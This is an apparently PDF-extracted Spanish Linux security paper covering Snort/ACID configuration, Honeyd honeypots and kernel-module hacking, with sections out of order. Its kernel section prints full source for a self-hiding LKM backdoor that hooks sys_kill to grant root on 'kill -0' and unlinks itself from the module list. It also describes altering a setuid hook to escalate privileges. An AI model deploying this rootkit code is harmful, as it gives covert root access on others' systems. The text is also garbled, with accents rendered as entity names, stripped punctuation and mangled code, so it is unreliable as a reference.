Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 13: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

